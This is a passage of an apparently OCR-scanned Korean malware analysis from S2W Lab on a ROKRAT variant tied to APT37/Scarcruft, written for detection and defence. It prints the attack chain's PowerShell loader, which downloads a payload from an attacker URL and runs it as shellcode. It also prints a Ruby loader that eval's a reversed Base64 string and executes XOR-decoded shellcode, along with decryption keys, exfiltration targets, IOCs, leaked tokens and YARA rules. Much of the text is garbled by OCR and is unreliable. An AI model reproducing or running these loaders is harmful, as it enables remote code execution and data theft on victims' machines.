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[Met.ServicePointManager] : :SecurityProtocol=[Enum] : : ToObject( [Net.SecurityProtocolType], 3872);
$aa=' [D1lImport("kernel32.dll") lpublic static extern IntPtr GlobalAllocluint b,uint c);";
sh=Add-Type -MemberDefinition %$aa -Name "AAA" -PassThru;
sabab = '[DllImport{"kernel32.d11")Jpublic static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$aab=Add-Type -MemberDefinition Sabab -Mame “AAB" -PassThru;
%c = New-Object System.Net.Web(lient;
$d="https://mobile-analytics—de558. web. app/mobile. analytics6.min";
shb=' [DUlImpert{"“kernel32.d11") lpublic static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr ¢, IntPtr d,uint e,IntPtr f);°
$cce=Add-Type -MemberDefinition $bb -Name “BBB" -PassThru;
$ddd=" (D11 Import("kernel32.d11")lpublic static extern IntPtr WaitForSingleObject(IntPtr a,uint b);*;
3fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru;
$e=112;
do {
try {
s$c.Headers [Muser-agent”] = “agt";
sxmpwd=$¢. DownloadData(sd);
$x8 = $b::GlobalAlloc{@xBR48, $xmpwd.Length+@x10@);
sold = @;
saab: iVirtualProtect($x8, $xmpwd.Llength+8x180, @xda, [reflseld);
for ($h = 1;%h -1t $xmpwd.Llength;she+) {
[System.Runtime, InteropServices.Marshall : iWriteByte($x®, sh-1, (Sxmpwd[$h] -bxor $xmpwdld]) }:
h
try{throw 1;
Yeateh{
$handle=$ccc: :CreateThread (@, &,5x@,2,08,8);
$fffi:WaitForsingledbject{shandle, Seexleanl;
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CIeRE = S| o2 E2 Y ot B e Hat S210|H (Driver)
2 0| EC=E Q&SI S . CHREE ZEZ= %PROGRAMDATA% 0|04,
C|2E2|2 & ReadyBoost Driver , Microsoft Filesystem Filter Manager , Link-Layer Topology

o
Responder Driver for NDIS 6 S XAl E2}0|E 0|20 2 Q&6ID U2
B = AW Al FH| Ao Z20f| Y= ini LU S SSH0{ FH| AFEEE Aiel
-2d| Al of! A= : %APPDATA%\Local\Microsoft\Ruby27-x64
- INI Z}l94: Link-Layer Topology Responder Driver for NDIS 6.ini
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Mame Size Type Date Moedified
lib 1 Directory 2020-12-21 27 6:53:02
bin 1 Directory 2020-12-21 28 65301
4130 4 NTFS Index Allocation 2020-12-21 273 6:53:07
LICENSE.txt 2 Regular File 2020-01-05 2% 8:06:00
oay Responder Driver for NDIS 1 ar File 2018-04-11 2%F 11

H load 'C:#Programlatafilink—Laver Topology Responder Driver for NDIS BROZAOOFSSHhistory.mo.urls’

ini I} LH command

history.mo.urls (6117403d7668593be80a0ef1ad72ba5b, Ruby Script)= =2}0|H{ i 0| E 2!

update.microsoft.com I} Zr2 HA EMQl HEE E &6t Qe A2 HO|LL S|E ATFEE S&
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#-04:27:13 14/05/2003

# Copyright (c) Microsoft Corpeoration. ALl rights reserved.

require ‘basef4’

require 'fiddle/import'

# Update Driver: name=Link-Layer Topology Responder Driver for NDIS 6, id=8DEC5952

url3147 = "https://update.microsoft.com/driverupdate? id==0QDENKRBMiCN s THWE j KwY j KwADMxACLKFWZyhGdoQ3Y
alias UrlFilter6218 eval;

# - UrlFilter:  id=6C1C3705

UrlFilter6218({Base6d.decodesd (url3147[45..-1). reverse});

L= - Y L

history.mo.urls (6117403d7668593be80a0ef1ad72ba5b)
Press enter or click to view image in full size

Recipe Bl E mnput fengeiie + 0O 8 =

1ines: 1

o [FoUDENKRBMICNS TKWE j K'Y ] KwADMxACLKFWEZy hGdo03Y 1 prYPVGbNSWATI 3bGRXa hd LOBT 2MsNmbyVZSKBWDpADISAD
Reverse @ n 15ADT s THOWBC LWAC LwaCZhVmecaRVZBFWZyNKDGT 2Ms VmbyV 25 gD IKFWZyhGaKAwOpUmepNnLkBXd JNHI s Ywd iBCLYR
Heoknew IWZNVmd v1EDBI LOBT 2MsVmbyV25KAAZUVMONS Te LtGTeBSXpt LZ1IGIIASXBN ZemZZby ImZ Tk 2Wmin YA LEN

Eyharacler 8GZgUmepNnLkBXd jNnLuXZzZmZv]XankibpBSagl3bmplDTYzRdBZWmVnY gADIBV cmZ2by LmZKewdd 1FMbZWd 1T 5H
time: 2
Output e 12 @ 0 @ o
1ines: 31
From Base&4 e n
#1815
Alphabut . medule Kerneld2
A-Za-z@-9+/= extend Fiddle::Importer
dlload 'kernal32’
#0308

ﬁﬂemwe non-alphabet chars typealias "SIZE_T*, ‘unsigned long leng'

extern ‘woids VirtualAllec{woid+, SIZE_T, unsigned long, unsigned longl'
extern 'int VirtvalProtect{wvoids, SIZE_T, unsigned long, unsigned long+)'
extern 'void RtlMoveMemory{void=, woid=, SIZE_T)*
extern 'void+ CreateThread{wveids, SIZE_T, veids, void+, unsigned long, unsigned longs#)'
extern 'unsigned int WaitForSingleObject(woid+, unsigned lomg)*
#5488
end
puts('File Not Found!. Exit'};
scfile = File.open("C:\\ProgramData‘\\Microsoft Filesystem Filter
Hanager\\3EF53848Y\Shortcut_SB3C.info","rb"};
scupd = scfile.read;
scfile.close;
ptr = Kernel32::VirtualAllocl{®, scupd.size + Oxd80, 0x3I000, Oxd0);
Kernel32::VirtualProtect{ptr, scupd.size + @xd@d, @, @);
buf = Fiddle::Pointer [scupd];
#7098
key = buf[1l+buf[8]];
firoffset = buf[B]+6;
for i in firoffset..scupd.size do
buf [i-firoffset] = bufli] ~ key;
end
Kernel32: :RtWMovedemory(ptr, buf, scupd.size);
thread = Kernel32::CreateThread(®, 8, ptr, 8, 8, 8);
Kernel32::WaitForSingleObjectithread, 1000+68+19]);
#4FCD

Syntax highlighter & n

Language

ruby

Decoded Ruby Script
STAGE02: Q|7 E #|F = + PE mtd
I}l : Shortcut_5B3C.info (888ed5eb170d48cf12{8716db899ec85)

o EH| AFHEEM oJsl C|TZE == &lF = (XOR KEY : 0x58)
key = buf[1+buf[0]];
firoffset = buf[0]+6;

for i in firoffset..scupd.size do
buf[i-firoffset] = buf[i] / key;
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end== Decoded Shellcode ==0x48 = 0x10 " 0x58
0x89 = 0xd1 N 0x58
0x5c = @x4 N 0x58
0x24 = Ox7c N 0x58
0x8 = 0x50 N 0x58

. ClZY E4HCE XOR Y 282 A U2 915 & PERAS Cl Y 5k . 12| D,
Cl3g = PE 0tU 2 o 22| Alofl M A&t

(XOR KEY: 0x78AEEA97)
STAGEO3 : PE Loader

MD5: 4DF1C60BAD360E3COC5EBF8D2DES98EQ (Dumped binary)
Compilation time: Thu Nov 19 00:24:48 2020

« ROL3 2 0|&%tC|2Y = 2t0[E2{2] & APIE SE511, HFE| L QE[HIO[2A(AV) Z2 3
2 =elgt
- 2= =9t MIE{(SecurityCenter)0f]l S 2= OIE| HIO|2{A Z2 2 MEE WMI FZ|2 &9l
. =L 2535 24TN2|Z : AES-128-CBC + XOR
-2EE FILHOIZE U UASSE ot HE L ofdHE £535}
-AESE E&f| 2535}5104, IV 22 0x323112233445566778899AABOCBDCEDF
-AESKEY e Al, 34 CHet2| AFE O[S0l st MD5 SHA[Z4E o| 88t

1) IV: 32 31 12 23 34 45 56 67 78 89 9A AB @C BD CE DF2) AES KEY: MD5(ComputerName) N SI=ZFE =l HE

o

- ot=3Y = HEXZE : 2B 7E A5 16 28 AE D2 A6 AB F7 15 88 @9 CF 4F 3C2.1) KEY 2HMof| A== MD5 ¢
- MME=l S{A|ZE : (8 CF 55 19 37 3D FB F5 @B 5B 82 34 04 96 67 2B3) AMM=l SHA|ZLS UTF-8Z QIAIA|
- 1X} XOR : C8 CF 55 19 37 3D FB F5

- 2X} XOR : @B 5B 82 34 04 96 67 2B=253} A1} : %ProgamData%\ReadyBoost Driver\782232C8\WinSDK_21.

EIg S4i CIZYE ANCE N

. AP S MY S XORC|TY REIS
XOR KEY: 0x78AEEA97)

=
=
(R ZEL| M2 Stage022} S,
STAGEO04: QI3AE H €lF = + PE Il

ol : WinSDK_214F.info (6634C216FDB0067920F911A6FD1D60DE)

« XORE|ZEY REIE 510 L 20i| 212 = PERtA S C|2E 51| E

(XOR KEY: 0x78AEEA97)
== 2} T E : Variant of ROKRAT

MD5: 5AFB61FD9COBDF9468045291CCI9C4E4F (Dumped binary)
Compilation time: Fri Dec 11 22:56:38 2020
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o Scarcruft(APT37, Group123) 2| & 1S 1} 2t = ROKRAT(H E & F S 2T E)9| M &l H

A =Hd =
0f, 7| &£t Ct=27| MD5(EFA S| HAFEH) HAH L2 |EE 0|8510{ 2ALS C|ZE
o =R B535}2UNE[S: AES-128-CBC + XOR (Stage032} S¢)
-obMB ol TR B 2AtE =53}
o Qo Ut & ZHAZ: %APPDATA%\Roaming\Microsoft\WER%08X\%08X%02d

C:\Users\USER\AppData\Roaming\Microsoft\WER[4BYTE HEX]\[4BYTE HEX]15

C:\Users\USER\AppData\Roaming\Microsoft\WER[4BYTE HEXT\[4BYTE HEX]141) USER: ZZAX}7} X|H&t &4

2) [4BYTE HEX] : &M 3= LHof| St==E = 4HIO|E HEXZL
=

3) [4BYTE HEX]15 : ¢t&35t & ot (F2 =553 dNE2ELE E535} Jts)* U455

Press enter or click to view image in full size

Intel(R) Core(TM) i5-4578 CPU @ 3.20GHz

American Megatrends Inc,

4.6.5

85/12/2014

To be filled by 0.E.M.

HB1H3-M3

00000066

S32KNBBH9238110

Samsung SSD 758 EVO 12@GMAT®
{DB52A52A-892E-4CBB-B392-2BDBB8759563}

Realtek PCIe GBE Family Controller

172.20.82.228

255.255.255.0

172.20.82.1

255.255.255.255

4H@l

Link-Layer Topology Responder Driver for NDIS 6
"CiyUsersh\USER\AppDatasLocal\Microsoft\Ruby27=-x6d\bin\ rubyw.exe"
"C\Users\USERNAppDatakLocal\Microsoft\Ruby27-x64\Link-Layer Topology Responder Driver for NDIS 6.ini"
Ci\ProgramData‘\ReadyBoost Driver\782232C8\WinSDK_214F.info
C:\ProgramData\Microsoft Filesystem Filter Manager\3EF5384B\Shortcut_SB3C. info
EN/xKPa%z9WBIGA

c8cf5519373dfhf50b5b82340496672b

[4BYTE HEX]15 : i} 2535} Zo}

= OtE|H}IO|2{ A &0 (Stage031} S€)

1) #FE HE : 294K HA, SZfote =

2) ojel 22
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doc mdb x1s ppt txt amr 3gp csv vcf
hwp pdf eml msg mda rtf url key der
3) 2BlEE
4) USB Al ™

o
5) Heted ME HE : HIE HUHS, 77|H

E 38, mo|oj=4, IE, ClX|, 2Hzt, HolH /Y
6) MY ZSzto|AHE HE EHF| : MS 0REZ, Thunderbird
7) WiFi 22 He
8) mla XM= Zeto|E HE : WinSCP, FileZilla
9) MX| =273 22 : L“Software\Classes\Installer\Products”
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X| £ 2[st 0 7HL| &£SOFTWARE\Microsoft\Windows\CurrentVersion\Run S
mzA 20| BE Q1M S

1) M T =0 HA|E 222 = MH|A API 22 : PCLOUD, YANDEX, BOX, DROPBOX,

BLACKBLAZE* (AN M I E SZfA| 270 22IRE MH|A BE)
)oY R /CIRRE2 WY MO U HE /5
* 10t7{ ROKRAT A @1t CtE2H| FItHE Al Z2HRE AH|A : Blackblaze - B2 22t E AEE|X]

(applicationKey 2 9IS

Conclusion
o CHE 2 AIO|EE Soll /I & S40| 0|F0o{X|1 /Y20 HF EMACHE 2 ALO|Eo| F
1Mo 2 YEcte AR, 2E AO|E MK Al IE 2| FAM HAL| HE2IR KX 0|82 =
o ZAHIAILQICYA ot AE 52 Z S TTP 2M A} Scarcruft(APT37, Groupl23) 2|8 O 51
SHE 4o THHE
Appendix

Appendix 1: IOC

NO Filename MD5 Description
1 history.mo.urls 6117403D7668593BESOAOEF1AD72BASE Ruby Script
2 | Shortcut_5B3C.info | B88ED5EB170D48CF12F8716DB899ECS5 Shellcode
3 - 4DF1C60BAD360E3COCSEBF8D2DE998ED PE Loader
4 | WinSDK_214F.info | 6634C216FDB0067920F911A6FD1D60DE Shellcode
5 - 5AFB61FDOCOBDF9468045291CCOC4E4F | ROKRAT Variant
NO URL Description
1 https:/fmobile-analytics-d0558.web.app/mobile.urchin.html Exploit
2 https://mobile-analytics-d0558.web.app/mobile.analytics6.min Exploit
3 151.101[.]1.195 mobile-analytics-d0558.web.app, US

pcloud token : JOycZ530fwT3cURKZSVUDa7ZgrE2Kb72J1JntinTeleN6LP3d1wy (revoked)

SE25 A ™M™ E : walters.jamie@yandex.com
Get S2W’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

yandex token : AQAAAAAzZHYxcAAWUROxzKJdWcODBjRwRIB3dIVE (Unauthorized Error)

Appendix 2: Yararule
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rule Scarcruft_Reverse_BS64_Loader

{
meta:
author = "S2WLAB_TALON_JACK2"
type = "APT"
version ="0.1"
date = "2021-03-09"
strings:
$require_base64 = {72657175697265202762617365363427}
$require_fiddle_import = {726571756972652027666964646c6521696d7061727427}
$bs64_decodeb4 = {4261736536342e6465636T64653634}
$reverse = {2e72657665727365}
condition:
all of them
}
rule Scarcruft_RUBY_Shellcode_XOR_Routine
{
meta:
author = "S2WLAB_TALON_JACK2"
type = "APT"
version = "0.1"
date = "2021-05-20"
strings:
/*
8B 4C 18 08 mov ecx, [eaxtebx+8]
C1 C7 @D rol edi, @Dh
40 inc eax
F6 C7 01 test bh, 1
74 06 jz short loc_D@
81 F7 97 EA AE 78 xor edi, 78AEEA97h
*/
$hex1 = {C1 C7 @D 40 F6 C7 01 74 ?? 81 F7}
/*
41 C1 C2 @D rol r1ed, @Dh
41 8B (2 mov eax, rled
44 8B CA mov r9d, edx
41 8B CA mov ecx, ried
41 81 F2 97 EA AE 78 xor r10d, 78AEEA97h
*/
$hex2 = {41 C1 C2 @D 41 8B (2 44 8B CA 41 8B CA 41 81 F2}
condition:
1 of them
}

rule Scarcruft_evolved ROKRAT
{
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meta:

author

typ

e

version

dat
strings
/*
0x140130125
0x140130f2d
0x140130135
0x140130f3d
0x140130145
0x140130f4c
0x140130153
0x140130f5a
*/

$AES_IV_KEY

C7
C7
C7
C7
C7
C7
C7
C7
yr*

e

https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48

= "S2WLAB_TALON_JACK2"

= "APT
= "0.1

= "2021-07-09"

(744242032311223
(744242434455667
(744242878899AAB
(744242C0CBDCEDF
C745F02B7EA516
C745F428AED2A6
C745F8ABF71588
C745FC@I9CF4AF3C

44
44
44
44
45
45
45
45

24
24
24
24
77
77
77
77

{
77 32 31 12

77 34 45 56

23
67

77 78 89 9A AB

7?7 oC BD CE
2B 7E A5 16
28 AE D2 A6
AB F7 15 88
09 CF 4F 3C

0x14012b637 8QE9OF
0x14012b63a 80F1C8
0x14012b63d 8848FF
0x14012b640 4883EA01

*/

$url_deocde = {

condition:
uint16(0)

80
80
88
48

E9 OF
F1 C8
48 77
83 EA 01

}

DF

== 0x5A4D and
any of them

mov
mov
mov
mov
mov
mov
mov
mov

sub
xor
mov
sub

dword
dword
dword
dword
dword
dword
dword
dword

cl, Ox
cl, Ox

ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr

f
c8

[rsp
[rsp
[rsp
[rsp
[rbp
[rbp
[rbp
[rbp

+ + o+ o+

0x20], 0x23123132
0x24], 0x67564534
0x28], 0xab%9a8978
0x2c], Oxdfcebddc
0x10], 0x16a57e2b
0xc], 0xabd2ae28
8], 0x8815f7ab

4], 0x3c4fcfo9

byte ptr [rax - 1], cl

rdx, 1

Source: https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48
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